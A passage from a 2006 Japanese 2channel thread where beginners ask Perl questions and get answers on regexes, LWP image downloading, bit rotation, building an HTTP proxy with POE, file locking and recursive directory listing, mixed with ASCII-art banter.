2006/08/25(金) 08:23:29> perlの手品師まがいでトリッキーな糞文法をどうにかしてください。
どうにもならないから、別な言語を使うといいよ。
0794デフォルトの名無しさん
2006/08/25(金) 09:37:310795デフォルトの名無しさん
2006/08/25(金) 09:39:580796デフォルトの名無しさん
2006/08/25(金) 09:42:210797デフォルトの名無しさん
2006/08/25(金) 09:49:020798デフォルトの名無しさん
2006/08/25(金) 10:34:530799デフォルトの名無しさん
2006/08/25(金) 11:08:25(゚、 。 7 ハァ? なにいってんのオマエ
l、 ~ヽ
じしf_, )ノ
0801デフォルトの名無しさん
2006/08/25(金) 11:32:520802デフォルトの名無しさん
2006/08/25(金) 11:36:39わたしが知っているのだと、FreeBSDがシステムまわりからPerlのスクリプトを一掃したな。
0803デフォルトの名無しさん
2006/08/25(金) 11:41:590804デフォルトの名無しさん
2006/08/25(金) 12:31:08そう思っていた時期が猫にもありました
0805デフォルトの名無しさん
2006/08/25(金) 12:57:330806デフォルトの名無しさん
2006/08/25(金) 14:28:32FreeBSD の base system から perl が外れた一番大きな理由は、
perl とのその標準モジュール群がデカくなり過ぎたからだよ。
http://home.jp.freebsd.org/cgi-bin/showmail/announce-jp/982
perl の代わりに他の Light-weight Language を採用したわけでも
なく、今まで Perl で書かれていたシステム周りのスクリプトは
特に構成を変える事もなく sh や C でそのまま置き換えられてるし。
0807デフォルトの名無しさん
2006/08/25(金) 14:36:56通報しますた
0808デフォルトの名無しさん
2006/08/25(金) 17:54:46ttp://www.atmarkit.co.jp/fjava/javatips/062jspservlet029.html
方法がわかりません。どなたか方法を御存じの方がいらっしゃいましたら
教えて下さい。
0809デフォルトの名無しさん
2006/08/25(金) 17:56:54単なるPerlとJavaServletの違いがわかるか?
0810808
2006/08/25(金) 17:59:50上からPerlでやるようにいわれているのですが、
Perlではできないのですか?
0811808
2006/08/25(金) 18:04:26すみません。
あとプログラミング歴が浅いのでJavaServletに関する知識がありません。
もしPerlでできないのなら、その理由を教えていただけるとありがたいのですが。
0812デフォルトの名無しさん
2006/08/25(金) 18:08:47PerlやServletがどのように動作しているかについては自分で調べて下さい。
分かれば解決します。
0813デフォルトの名無しさん
2006/08/25(金) 18:09:53「JavaServlet」の意味を調べて、>>1をよんでWEBプログラミング板に行くといいんじゃね?
0814808
2006/08/25(金) 18:11:16わかったありがと
0815デフォルトの名無しさん
2006/08/25(金) 18:28:04なんかお前が後輩の気がしてきたぜwwww
0816デフォルトの名無しさん
2006/08/25(金) 20:50:06rand()を一度だけ呼ぶのを何回か実行する場合,
その乱数は品質的にどうなのでしょうか?
実際には
randを使うPerl
別のプログラム
randを使うPerl
のように繰り返して実行したいです.
別のプログラムはそれなりに時間がかかります.
こういう場合Seedは何がよいのしょうか?
0818デフォルトの名無しさん
2006/08/25(金) 23:25:02>品質
どの言語でも標準の乱数生成器はどれも品質は良くないよ。
>srand
5.004以前の古いバージョンは駄目だけど
今のperlはrandは自動的にsrandで初期化されてるよ。
CPANでrandで検索したらこんなのあったよ。
http://search.cpan.org/~ni-s/Math-Rand48-1.00/Rand48.pm
http://search.cpan.org/~grommel/Math-Random-0.68/Random.pm
0819デフォルトの名無しさん
2006/08/25(金) 23:33:250820デフォルトの名無しさん
2006/08/26(土) 00:56:17/dev/random あたりに頼れば飛躍的改善が図れる場合がある。
0821デフォルトの名無しさん
2006/08/26(土) 00:57:030822デフォルトの名無しさん
2006/08/26(土) 02:18:410823デフォルトの名無しさん
2006/08/26(土) 12:51:560824デフォルトの名無しさん
2006/08/26(土) 14:08:180825デフォルトの名無しさん
2006/08/26(土) 15:39:04何のためにperlを選択した?
0826デフォルトの名無しさん
2006/08/26(土) 16:50:13$buffer=" "x1024;
0827デフォルトの名無しさん
2006/08/26(土) 17:01:46$arr[100000000]=undef;
0828824
2006/08/26(土) 17:03:260829デフォルトの名無しさん
2006/08/26(土) 17:06:250830デフォルトの名無しさん
2006/08/26(土) 17:16:05ミケネコ研究所でお世話になったこと、思い出しちゃった。
ttp://mikeneko.creator.club.ne.jp/~lab/perl/tuning/
0831824
2006/08/26(土) 17:17:45二度と来ません
0832デフォルトの名無しさん
2006/08/26(土) 17:19:45買ってくれます?
0833デフォルトの名無しさん
2006/08/26(土) 17:48:590834デフォルトの名無しさん
2006/08/26(土) 18:37:44\ ,, -―――- 、__
Y´ `ー 、 )
ヽ__, / \ ノノ
二 こ / // / / 、 ヽ_/ノ
度 ん レ / / // | i iヽ- \
. と な Y / /// /i | i ! \ \ト、\
. 来 糞 \/ //./ // || |. | ヽ \\ヽ
ま ス /| ヘi/ ////|| i ハ. |ヘ ヽ ヽ}
せ レ /||_ヒ=ミ、/// !|/! /| i ! ) ヽ 丿
ん /!ヾン⊃ヽゞメ- ////_.|_|__/i /∧ Y
か .!| i\_ .ノ //,≠=メ.ノ/|/// |/
. ら | i |.  ̄ /ー')Y//|// 丿
っ | | ! r― 、 , ヽノ // |/.イ
フ- 、 !i Y `ー, /|/ | / !
´ ̄ '7>ー、_ .,-、.ヾ i ト、_ _/ ノ || i ハ .\
. _'彡イフ´: : : : \|| | \ .ト、._ ̄,.. イ| ||. !| | |. \ \
/: :/:/: : : : : : : : : Y |\ \ / // / !| | .レ| \ \
: : |: :/: : :/: : : : : :ノ /\. \i /ノ i /ノ レ i \
: : |:/: : : :!: : : : //: : : :\ヽヽー'´ ノノ_, ソ´ ヽ
: : !: :,-―==- '´: : : : : : : :i i Y\ ̄ \
: :イ: : : : : : :\: : : : : : : : : :) |丿 ! ば \
: :/: : : : : : : : : :\: : : : : : : i i | /
: :!: : : : : : : : : : : : : : : : /: : | ノ /| | /
: : \: : : : : : : _: : : :,/_丿! / /| /
: : : : \ー 、__人 ̄/V // ! //| か /
: : : : : : :Y´ / とー2ノ ヘノ |//ノ !
: : : : : : : ´7‐ヘ┘ |ヽ i |/-っ ! |
: : : : : : : : : : : :| i ´―― 、. |
0835デフォルトの名無しさん
2006/08/26(土) 18:39:060836デフォルトの名無しさん
2006/08/26(土) 20:41:31aaaは$oneに入って、bbbは$twoに入って、真ん中の空白は捨てるには
どういう風に代入したらいいでしょうか?
0837デフォルトの名無しさん
2006/08/26(土) 20:45:520838デフォルトの名無しさん
2006/08/26(土) 21:02:060839デフォルトの名無しさん
2006/08/26(土) 22:48:34perlらしいスマートな書き方ってありませんか?
0840デフォルトの名無しさん
2006/08/26(土) 23:10:400841デフォルトの名無しさん
2006/08/26(土) 23:29:54いや、そうじゃないよ。
必要に迫られて書いたんだけどどうにもスマートじゃないなと思ってね。
8ビット左方向を今はこういう風に処理してるんだけど、もっといい方法ない?
sub bit_rotate_8L {
my ($v, $n) = @_; # 初期値, 移動量
$v = 128 << $n;
$v & 255 | ($v & 65280) >> 8;
}
0842デフォルトの名無しさん
2006/08/27(日) 00:03:52#atai
@pic = { ahi/rame.png , uhu/ramee.jpg};
$server = "chan.example.com";
$dir = "2d";
foreach $filename (@pic) {
($dir2,$picname) = (split /\// , $filename);
my $ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)');
my $req = HTTP::Request->new("GET", "http://$server/$dir/$filename");
$req->referer("$url");
my $res = $ua->request($req);
if ($res->is_success) {
$content = $res->content;
open(binmode FILE, ">$picname");
print $content;
close( FILE );
print"downloaded:$picname\n";
}
}
ビープ音がビービーなります(;´Д`)たすけてください
0843デフォルトの名無しさん
2006/08/27(日) 00:06:11画像をファイルに保存したいのですが binmode というのを付けたら
ビープ音が酷く鳴ります 外すと 壊れた画像ファイルが出力されます
0844マイク ◆yrBrqfF1Ew
2006/08/27(日) 00:11:55print FILE $content;
にしろ
0845デフォルトの名無しさん
2006/08/27(日) 00:14:11今のだとopenする前のファイルハンドルに対してbinmodeしてる。
0846デフォルトの名無しさん
2006/08/27(日) 00:21:46binmode FILE;
print FILE $content;
close( FILE );
print"downloaded:$picname\n";
正常に動作しました アリガトウゴザイマシタ。
0847デフォルトの名無しさん
2006/08/27(日) 10:04:57$v = ( $v <<= $n % 8 ) & 255 | $v >> 8;
0848デフォルトの名無しさん
2006/08/27(日) 22:21:46ぅぉ、レスあきらめてたんで嬉しいです。
なるほど〜、合理的ですね… 美しいです。
ありがとうございました。
0849デフォルトの名無しさん
2006/08/27(日) 23:04:070850デフォルトの名無しさん
2006/08/28(月) 01:14:390851デフォルトの名無しさん
2006/08/28(月) 01:25:490852デフォルトの名無しさん
2006/08/28(月) 01:29:240853デフォルトの名無しさん
2006/08/28(月) 01:59:37-k でもいいけど
0854850
2006/08/28(月) 02:10:55df /filesystemで第2-4フィールドを取得すればいいのかな。
Filesystem名が長い場合は2行になるから1行にしてからだなぁ。
でもdfの表示の仕方ってプラットフォームで違いますよね?
0856デフォルトの名無しさん
2006/08/28(月) 07:12:35気違いみたいになんでもあんのな。CPAN て。
0857デフォルトの名無しさん
2006/08/28(月) 08:54:40どれもこれも中途半端だったりするけどな。
0858デフォルトの名無しさん
2006/08/28(月) 09:11:010859デフォルトの名無しさん
2006/08/28(月) 10:13:50同じことをやるモジュールがいくつかあっても、みんな同じところが中途半端だったりするのな。
0860デフォルトの名無しさん
2006/08/28(月) 10:15:48Filesys::Df
Filesys::DiskFree
Filesys::DiskSpace
Filesys::DiskUsage
0861bobo
2006/08/30(水) 00:09:120862デフォルトの名無しさん
2006/08/30(水) 03:07:45HTTP::Daemon と LWP::UserAgent を使ってhttp proxyを作ってますが、シングルタスクで困ってます。
レスポンスの遅いサイトが混じると、すべての読み込みが中断されてしまいます。
マニュアルによると、HTTP::Daemonは5並列での処理が可能。プログラマの権限でforkしなさいと書いてあるので、
マルチスレッド化しようと思っていろいろやってみたけど、HTTP::Daemonが作り出すHTTP::Daemon::ClientConnはThread::Queue::Anyには入れられないようで、入れようとすると怒られます。
何かヒントをいただけないでしょうか。
よろしくお願いいたします。
0863デフォルトの名無しさん
2006/08/30(水) 03:29:19っ[POE]
っつ〜か、生Socketで200行ないコードでhttp proxyを作って使っていて
存在を忘れるほど安定動作していたことがあるけどな。
LWP::UserAgentの通信路をノンブロッキングにしてSelectることはできんのか?
おや、LWP::UserAgentとHTTP::Daemonを使ったHTTP::Proxyというのがあるぞ。
でもって、LWP::Parallelというのもある。
0864デフォルトの名無しさん
2006/08/30(水) 03:31:44> マニュアルによると、HTTP::Daemonは5並列での処理が可能。
ちがう。
0865862
2006/08/30(水) 21:37:07>LWP::UserAgentの通信路をノンブロッキングにしてSelectることはできんのか?
実験してみたところ、処理が単純ループなので LWP::UserAgent ではなく、 HTTP::Daemon のacceptの発行待ちで引っかかってる模様。
ブラウザとやり取りするHTTP::Daemon側をイベント型に変えてやる必要がありそうです。
ActivePerlには HTTP::Proxyと LWP::Parallel が実装されてないみたい。
よって、POEでチャレンジしてみます。
>>864
もいちど勉強しなおします。(エイゴむずかしいデス)
皆さんの愛に感謝です。ありがとうございました。
0866デフォルトの名無しさん
2006/08/30(水) 22:10:25ActivePerl用のHTTP::Proxyならあるよ
0867デフォルトの名無しさん
2006/08/30(水) 22:23:140868デフォルトの名無しさん
2006/08/31(木) 00:10:14上の文字列から下のような配列を作成したいのですが
@foo = ('foo', 'bar', 'hoge');
どう書けばいいかわかりません。
条件としては、
1. 文字列の先頭には [ と ] のペアでで囲まれたものが複数個(0個を含む)含まれている。
2. それぞれの間には空白文字が入ることもある([foo]と[bar]の間のように)。
3. 0個の場合は空の配列を返したい。($foo = 'foo';なら@foo = ();としたい)
4. 1個以上の場合は [ と ] で囲まれたものを抜き出した配列を返したい。(最初の例)
5. 途中に [ と ] で囲まれない文字列(上記の場合はpiyo)が含まれていて、
そのあとにまた [ と ] で囲まれた文字列(上記の[fuga])が来ることがあるが、これは返値の配列に含めたくない。
sub getCategory {
my $f = shift;
my @c = ();
while ($f =~ /^(?:\[.+?\]\s*?)*?\[(.+?)\]\s*?/g) {
push @c, $1;
}
return @c;
}
自分ではこのような関数を書いたのですが、これだと最初のfooだけしか取得できませんでした。
長くて申し訳ないですが、助けてくださると幸いです。
0869デフォルトの名無しさん
2006/08/31(木) 00:26:36my $f = shift;
if ($f =~ /^((?:\s*\[.+?\])+)/) {
return $1 =~ /\[(.+?)\]/g;
} else {
return ();
}
}
とか?
0870デフォルトの名無しさん
2006/08/31(木) 00:39:150871デフォルトの名無しさん
2006/08/31(木) 00:39:33my $f = shift;
my @c = ();
while ($f =~ /\G\s*\[(.+?)\]/g) {
push @c, $1;
}
return @c;
}
こう?
0872bobo
2006/08/31(木) 00:56:27読み込んだPDFが横だったら縦に変えるプログラムを作ろうと思うんですが
考えがおもいつきません、わかる方よろしくおねがいします
0873デフォルトの名無しさん
2006/08/31(木) 01:25:20pdflibってどういうのか全く分からないけど、
perl用の追加モジュールをダウンロードして少し見てみた。
PDF_rotate() ってのがあるみたいだから、それを使えば?
その関数があるっていうのが分かっただけ。
肝心の部分はバイナリ配布でマニュアルが無いから、それ以上は分からない。
どうしてもそれを使うなら、配布元の会社に問い合わせた方が良い。
サポートでメール受け付けてるみたいだし。
0874デフォルトの名無しさん
2006/08/31(木) 01:37:09sub getCategory {
my $f = shift;
$f =~ s/^\s*\[(.*)\](?>\s*)[^\[\s].*$/$1/
? return split /\]\s*\[/, $f
: return;
}
0875デフォルトの名無しさん
2006/08/31(木) 01:45:26次点で >>870 。破壊的だが。
0876デフォルトの名無しさん
2006/08/31(木) 02:03:19参照渡しじゃないんだから破壊ってのは違うような。
0877デフォルトの名無しさん
2006/08/31(木) 02:03:540878デフォルトの名無しさん
2006/08/31(木) 06:32:17my @c = ();
while( $foo =~ m/\[([^\]]+)\]/g){
push @c, $1;
}
0879878
2006/08/31(木) 09:28:500880デフォルトの名無しさん
2006/08/31(木) 10:42:590881デフォルトの名無しさん
2006/08/31(木) 10:46:00my @c = $f =~ /\G\[(.+?)\]\s*/g;
0882デフォルトの名無しさん
2006/08/31(木) 12:07:44my @data ;
my $flag ;
$foo =~ /^(?:\s*\[(.*?)(?{ $data[$flag] = $1 })\](?{ $flag++}))+/ ;
### perl 5.8 以降。
my @data ;
$foo =~ /^(?:\s*\[(.*?)(?{ push @data, $1})\])+/ ;
# いざ使う場合になったらもちろん 881 氏の手を使うw
0883878
2006/08/31(木) 12:16:31my @c = ();
my $f = 1;
while(1){
if(m/\G\s+/gc){
#skip
} elsif (m/\G\[([^\]]+)\]/gc){
if($f == 1){
push @c, $1;
} else {
$f = 1;
}
} elsif ( m/\G\w+/gc){
$f = 0;
} else {
last;
}
}
print "@c";
こんな感じかなぁ
0884デフォルトの名無しさん
2006/08/31(木) 20:33:100885868
2006/09/01(金) 01:01:13今回は881氏のコードを使わせていただきました。
皆さんのさまざまなコードには、私が普段使っていないので
理解できないコードも多いですが、少しでも理解できるよう努力したいと思います。
もういちど、ありがとうございました。
0886デフォルトの名無しさん
2006/09/01(金) 10:06:58if (-t) {
print "コンソール";
} elsif (exists $ENV{REMOTE_ADDR}) {
print "WEBかも";
} else {
print "CRONかな";
}
よりももっと正確な判別方法はありませんでしょうか。
0887デフォルトの名無しさん
2006/09/01(金) 11:28:53ls -l|wc -l の結果を変数に格納、みたいなことができればいいのですが
0888デフォルトの名無しさん
2006/09/01(金) 11:52:000889887
2006/09/01(金) 12:51:31漏れへのレスっすかね?
難しくてわかんないっす。でも一応サンクス
普通に$num = `ls -l|wc -l` で事故解決と相成りますた
0890デフォルトの名無しさん
2006/09/01(金) 13:39:47随分偉そうだなw
/ \ /\ キリッ
. / (ー) (ー)\
/ ⌒(__人__)⌒ \ 889 名前:887[sage] 投稿日:2006/09/01(金) 12:51:31
| |r┬-| | >>.888
\ `ー'´ / 漏れへのレスっすかね?
ノ \ 難しくてわかんないっす。でも一応サンクス
/´ ヽ 普通に$num = `ls -l|wc -l` で事故解決と相成りますた
| l \
ヽ -一''''''"~~``'ー--、 -一'''''''ー-、.
ヽ ____(⌒)(⌒)⌒) ) (⌒_(⌒)⌒)⌒))
____
/_ノ ヽ、_\
ミ ミ ミ o゚((●)) ((●))゚o ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\ /⌒)⌒)⌒)
| / / / |r┬-| | (⌒)/ / / // webprog板でやれおwwwwwwww
| :::::::::::(⌒) | | | / ゝ :::::::::::/
| ノ | | | \ / ) /
ヽ / `ー'´ ヽ / /
| | l||l 从人 l||l l||l 从人 l||l
ヽ -一''''''"~~``'ー--、 -一'''''''ー-、
ヽ ____(⌒)(⌒)⌒) ) (⌒_(⌒)⌒)⌒))
0892デフォルトの名無しさん
2006/09/02(土) 01:05:08ガキかw
0893862
2006/09/02(土) 18:10:20いろいろ教えていただいてPOEを使ったProxyが出来ました。
(ほぼPOE_Cookbookに載ってたサンプルそのまま。)
新たな問題が出てきたので、お知恵を拝借いたしたく。
作成したproxyで、サーバから得たHTMLを加工してから、ブラウザに返したいと考えています。
特にHTTP/1.1のchanked転送について、
POE::Component::Client::HTTP では、chunked転送に対応していないらしく、
HTTP::Response を $response->content_ref などとして参照すると、chanked転送の
16進のボディサイズが含まれています。
HTTP::BODYなどで取り除けるかと思ったらこちらもchunkedには対応していませんでした。
HTTPクライアントを作成されている諸先輩方は、どのように対処されているのでしょうか。
やはり、ボディサイズ分バイナリで読み込み、再構築するしかないのでしょうか。
よろしくお願いいたします。
0894867
2006/09/02(土) 19:58:27http://search.cpan.org/~rcaputo/POE-Component-Client-HTTP-0.77/lib/POE/Component/Client/HTTP.pm
0895デフォルトの名無しさん
2006/09/02(土) 20:00:28すみません、質問に質問で申し訳ありません、
http proxyを作る意味を教えて下さい。
クライアントPC上でproxyも立てるのですよね?
IPアドレスを変更するためなのでしょうか?
すみませんが、宜しくお願いします。
0896867
2006/09/02(土) 20:01:40http://search.cpan.org/~rcaputo/POE-Component-Client-HTTP-0.77/
http://search.cpan.org/src/RCAPUTO/POE-Component-Client-HTTP-0.77/lib/POE/Filter/HTTPChunk.pm
0897デフォルトの名無しさん
2006/09/02(土) 20:14:19作る目的は、いくらでも見つかる。
例えば自分が今一番欲しい proxy は、XHTML で書かれているページの head 内で定義されている CSS をカットして、ローカルの handheld メディアタイプの CSS に差し替えるコンテンツ変換 proxy。
Nintendo DS ブラウザで見やすいようにって感じで。
0898デフォルトの名無しさん
2006/09/02(土) 20:28:26ありがとうございます。
なるほど、
DS------PC(proxy)-------Internet
として、途中で加工するわけですね。
なるほどです。
私はIPアドレスの偽証くらいしか思いつきません(笑)
0899デフォルトの名無しさん
2006/09/02(土) 20:49:21ttp://ja.wikipedia.org/wiki/Proxy
あたりを参照すれば概要はつかめると思う。
ここで紹介されていない用法(>>897等)も。用途はアイデア次第って感じ。
0900デフォルトの名無しさん
2006/09/02(土) 21:06:11ありがとうございます。
陳腐なアイデアですが、、
考えました。
proxyサーバがもしダウンした際に、
暫定のproxyにするということができますね。
クライアントは何の変更なくwebを使えます。
で、復旧したら切り替えると。
アイデア勝負ですね。色々と考えてみます。
0901デフォルトの名無しさん
2006/09/02(土) 21:45:41ttp://www.yansite.jp/osakaproxy.html
0902862
2006/09/02(土) 23:44:41proxyを作る理由ですね。
大まかに言うとページに埋まってるFlashやwavなどを取り除くためです。
何度も見たくないものを押し付けられているようなので、取り除いちゃえ!て軽い気持ちで作ってます。
こういった題材があると自分の勉強にもなるし、結果が得られればその後も満足出来て一石二鳥だと思います。
>>896
867さん、情報提供ありがとうございます。
なにぶん不勉強なもので、大変参考になります。
今度はフィルタにチャレンジしてみます。
>>897
DS用proxyってのもいいですね。いろんなタイプのサイトがあるので、一般化するのが難しそうですが。
携帯用i-monaの発想に近いでしょうか。
>>900さんが言うとおり、まさにアイデア次第ですね
0903デフォルトの名無しさん
2006/09/03(日) 01:17:490904デフォルトの名無しさん
2006/09/03(日) 01:21:500905862
2006/09/03(日) 02:32:09こんなソフトがあるのですね。知りませんでした。
今回はperlの勉強もかねているので、もう少しがんばってみようと思います。
ありがとうございます。
0906897
2006/09/03(日) 03:23:48>>897 で、あえて XHTML と書いたのは、論理マークアップの浸透度合いが高いと思われるからです。
XHTML strict で table エレメントによるレイアウトを行っているサイトを探す方が困難かと思うので、XHTML strict あたりを狙い撃ちにすれば、一般化まで考えずとも CSS 差し替えだけで、とても見やすいサイトになると思います。
0907デフォルトの名無しさん
2006/09/03(日) 16:35:53プロクシができたらどこかにうpしていただけると非常にありがたい
0908デフォルトの名無しさん
2006/09/03(日) 22:02:13> プロクシができたらどこかにうpしていただけると非常にありがたい
なんで?
0909デフォルトの名無しさん
2006/09/03(日) 23:56:08(dos2unix)
perl -pe 'BEGIN { $^I='' if -t } s/\r//'
(unix2dos)
perl -pe 'BEGIN { $^I='' if -t } s/\n/\n\r/'
文字コードのことはよくわからないのですが、このような単純な置換で
UTF-8, EUC, cp932 等で書かれたファイルが破壊されることはないのでしょうか。
0910デフォルトの名無しさん
2006/09/04(月) 00:09:10というか
>s/¥n/¥n¥r/'
これは s/¥n/¥r¥n/' このほうが正解に近いっていうか、
それ以前に "¥n" は環境依存なので、¥x0A を使っておけば、
確実なヨカン。
0911デフォルトの名無しさん
2006/09/04(月) 00:25:46\nが環境依存だとは知りませんでした。\x0Aを使うようにします。
0912デフォルトの名無しさん
2006/09/04(月) 00:26:32\r もな。
0914デフォルトの名無しさん
2006/09/04(月) 01:20:440915デフォルトの名無しさん
2006/09/04(月) 01:47:380916デフォルトの名無しさん
2006/09/04(月) 02:13:220917デフォルトの名無しさん
2006/09/04(月) 02:23:020918デフォルトの名無しさん
2006/09/04(月) 16:58:310919デフォルトの名無しさん
2006/09/04(月) 17:22:510920デフォルトの名無しさん
2006/09/04(月) 17:33:000921915
2006/09/04(月) 17:49:150922デフォルトの名無しさん
2006/09/04(月) 17:49:530923デフォルトの名無しさん
2006/09/04(月) 18:14:070924デフォルトの名無しさん
2006/09/04(月) 18:19:040925デフォルトの名無しさん
2006/09/04(月) 18:21:050926デフォルトの名無しさん
2006/09/04(月) 22:02:03完全に自分でコントロールできるプロクシはいろいろ使い道があるよ。
英単語を覚えるために、日本語のページの単語に英単語をつけたり。
1000語ぐらいのをProxomitronでやったら遅くて死ねた。
0927perl初心者
2006/09/05(火) 01:24:18学んだんですけど、その本には、sendmail.iniの設定を変える必要があると
のことですが、ホスティング(ロリポップやさくら)の場合、単に、
$sendmail = '/usr/sbin/sendmail';みたいな感じで設定して終わりでいいんでしょうか?
sendamil.iniをいじるのは、自分でサーバを持っているときとかのみですか?
0928perl初心者
2006/09/05(火) 01:26:50勘違いしてすいません。
0929デフォルトの名無しさん
2006/09/05(火) 01:28:05>>1 を読みましょう。板違い、スレ違いです。
0930デフォルトの名無しさん
2006/09/05(火) 02:49:45\r\nが送られてこない場合に、通信のタイムアウトを起こすまでSOCKETが
readできません。
Content-Lengthから必要な分だけ先に読み込むことができないでしょうか。
use IO::Socket;
my $SOCKET = IO::Socket::INET->new(PeerAddr =>$host,
PeerPort =>$port,
Proto =>"tcp",
Type => SOCK_STREAM
);
$SOCKET->autoflush(1);
binmode($SOCKET);
#ヘッダー処理
while (<$SOCKET>){
m/^\r\n$/ and last;
}
#本文処理
while (<$SOCKET>){
print $_; #<- タイムアウトになるか\r\nを受信するまでよみこめない
}
0931デフォルトの名無しさん
2006/09/05(火) 03:27:10「バッファリングされてて吐けてない」に一票。
0932デフォルトの名無しさん
2006/09/05(火) 03:30:260933デフォルトの名無しさん
2006/09/05(火) 09:44:212つのperlスクリプト、A、Bがあります。
Aは一つのファイルhhhのデータの読み込みのみ、Bは書き込むだけです。
このような場合、Bはファイルhhhに書き込む時、ファイルロックする仕組み
を実装する必要があるでしょうか。
テストした範囲では問題がないのですが。
アドバイスよろしくお願いします。
0934デフォルトの名無しさん
2006/09/05(火) 09:49:36そうでない場合もAが不完全なデータを読み込ませないためにロックした方が良い。
0935デフォルトの名無しさん
2006/09/05(火) 10:25:06別にいらないと言えばいらないけど
Bが書き込んでる最中に 途中まで書いた分をAが読んで
誤動作されるのもやなので Aはタイムスタンプを監視してて
処理終わった後に時刻が変わってたらやりなおせ
0936デフォルトの名無しさん
2006/09/05(火) 10:35:30読み込むAは のんびり処理、 書き込むBは いそいで処理
というのが相場だから
・Aはファイルをロックしない(できない)
・Bがロックしてる最中はAは読めない
・Aの処理中にBがロックしたら Aは(中断して)リトライ
という条件が必要になる
AもBもロックできるようにすると、Bはいらいらして ぶちギレ金剛
0937933
2006/09/05(火) 11:11:14ありがとうございます。
Bはappendするのみです。
hhhのファイルの末尾に次々とデータを追加していくのみです。
Aのアクセス頻度は不確定です。
Aが激しくhhhを読むもこともあり、また緩慢な場合もあります。
Bは書き込み頻度の調整がききます。今のところ
Bは30秒に一回程度、ある程度大きなデータを書き込みさせようかなと。
Aにはデータチェックさせる仕組みとリトライさせる仕組みを実装しています。
データを追記するとき等、
何らかの理由でファイルにもともとあったデータが破壊されるかどうか
また、Bがデータを追記しない、
これらが心配の種です。
まっ、きりがないし、いっか。
0938デフォルトの名無しさん
2006/09/05(火) 21:40:35で、もちろん同時実行の可能性はないんですよね?
0939デフォルトの名無しさん
2006/09/05(火) 23:44:58それはわかってるんですが、バッファリング解除方法がわかってないんです。。。
>>932さん
ありがとうございます。早速つかってみます。
調べれば便利なパッケージがあるんですね。。X68000・・・のサイトを参照して
作っていたので、まったくしりませんでした。。
0940デフォルトの名無しさん
2006/09/06(水) 15:13:160941デフォルトの名無しさん
2006/09/06(水) 15:44:22調べたら結構あるもので迷ってます。
仕事でEclipseを使っているJAVA屋ですので、似たようなのがいいのですけど。
0942デフォルトの名無しさん
2006/09/06(水) 15:53:32質問者の「それはわかっております」ww
0943デフォルトの名無しさん
2006/09/06(水) 18:43:14Eclipseに思い入れがあるならEPIC使っちゃえばいいじゃないか。
0944デフォルトの名無しさん
2006/09/06(水) 20:57:25で、
perl -e "print -4**4"
こうやっても、仕様上4**4の結果に対して-が付くから、結果的に -256ってなってしまう
-4の4乗を計算させるにはどうしたらいいだろう
0945デフォルトの名無しさん
2006/09/06(水) 21:12:58perl -e "print (-4)**4"
ってやったら-4って表示された
perl -e "$a=(-4)**4;print $a;"
ならできるんだが・・・
なんで上のはうまくいかないんだろう
0946デフォルトの名無しさん
2006/09/06(水) 21:16:10perl -e "print ((-4)**4)"
だとうまくいったからprintを先に実行してその戻り値に対して**4を実行してたっぽい
0947デフォルトの名無しさん
2006/09/06(水) 21:34:23sub test {
my ($dir)=@_;
opendir(DIR,$dir);
foreach (readdir(DIR)) {
if (!index($_,'.')) {next;}
&test($_);
}
closedir(DIR);
}
こんなんでも動いてますが、これでいいんですかね?
0948デフォルトの名無しさん
2006/09/06(水) 21:35:050949デフォルトの名無しさん
2006/09/06(水) 21:35:47ってか、.bashrcが消えないような気がするから糞。
0950デフォルトの名無しさん
2006/09/06(水) 21:48:02日本語でおk
wwwっうぇww
0953931
2006/09/07(木) 00:35:49あなたの理解度については私どもにも割と伝わっていると思います。ですから取り繕わなくても大丈夫です。
今回の目的は LWP で果たせるでしょうから、がんばってください。できればモジュールのドキュメントも読んであげてくださいね。
0954デフォルトの名無しさん
2006/09/07(木) 00:37:22ディレクトリエントリ全部読んでclosedirしてから吟味する。
開きっぱなしヨクナイ
0955デフォルトの名無しさん
2006/09/07(木) 00:50:56>>ディレクトリエントリ全部読んでclosedirしてから吟味する。
するとメモリ不足も考えられるよね。
0956デフォルトの名無しさん
2006/09/07(木) 01:10:370957デフォルトの名無しさん
2006/09/07(木) 01:47:190958デフォルトの名無しさん
2006/09/07(木) 02:49:11ディレクトリの再帰処理だと変数で保持しておくのはディレクトリ名だけ
だからメモリ数百メガはあると考えると保持しておくほうがいいのかな。
lsとかrmもメモリに保持してるね。
0959デフォルトの名無しさん
2006/09/07(木) 02:59:53closedirしてから再帰に突入でいいやん。
0960デフォルトの名無しさん
2006/09/07(木) 03:14:10> dir /sみたいなのを再帰で実装したいんですが、
File::Find
0961デフォルトの名無しさん
2006/09/07(木) 21:13:32s/\(?([A-Z])([A-Z])\/)?\/1/
~~~~~
の意味がわからなくて困っています。
置換だと思うのですが、特に下線部の働きがよくわかりません。
どなたか教えてください。
ちなみに置換の対象となる文字列は"(A((BC)D)(EF1))"です。
拙い表現ですがよろしくお願いします。
0962デフォルトの名無しさん
2006/09/07(木) 21:19:36それ正規表現として間違ってる。丸括弧が対応してない。
コピペミス?
0963デフォルトの名無しさん
2006/09/07(木) 21:26:18やはりそう思いますか。コピペミスではありません。
個人的には、"\/)?"の/がいらないと思うのですが。
0964デフォルトの名無しさん
2006/09/07(木) 21:36:27ログインして10分経過後、再認証を行なうプログラムについて教えて下さい。
学校の課題なんですがさっぱり分りません。。。
0965デフォルトの名無しさん
2006/09/07(木) 21:38:38time()
0966デフォルトの名無しさん
2006/09/07(木) 22:19:21こんな感じですか。
sub dir {
my ($dir)=@_;
my @dirs;
opendir(DIR,"$dir/") or return(0);
foreach (readdir(DIR)) {
if (!index($_,'.')) {next;}
push(@dirs,$_);
}
closedir(DIR);
foreach (@dirs) {
if (!&dir("$dir/$_")) {print "$dir/$_\n";}
}
return(-1);
}
ヤター!ウゴイターヨ!
メモリ消費量とかは気にしない事に。
>>960
use File::Find;
find(\&print,$dir);
sub print {
print $File::Find::name, "\n";
}
何でこれが動くのかなかなか理解出来なくて悩みますたが。
実際に使うならこっちなのかな……
って事で解決しました。どうもありがとう。
0967デフォルトの名無しさん
2006/09/08(金) 00:10:41正規表現が正しくないので下線部の意味は特定できない。
ちゃんと文の終わりの ; まで書くべし。
0968デフォルトの名無しさん
2006/09/08(金) 08:20:08半角数字を全角数字に変換(1→1)、及びその逆(1→1)がしたいのですが、
何かいい方法はありませんか?
0969デフォルトの名無しさん
2006/09/08(金) 09:17:29変換テーブルを作る
0970デフォルトの名無しさん
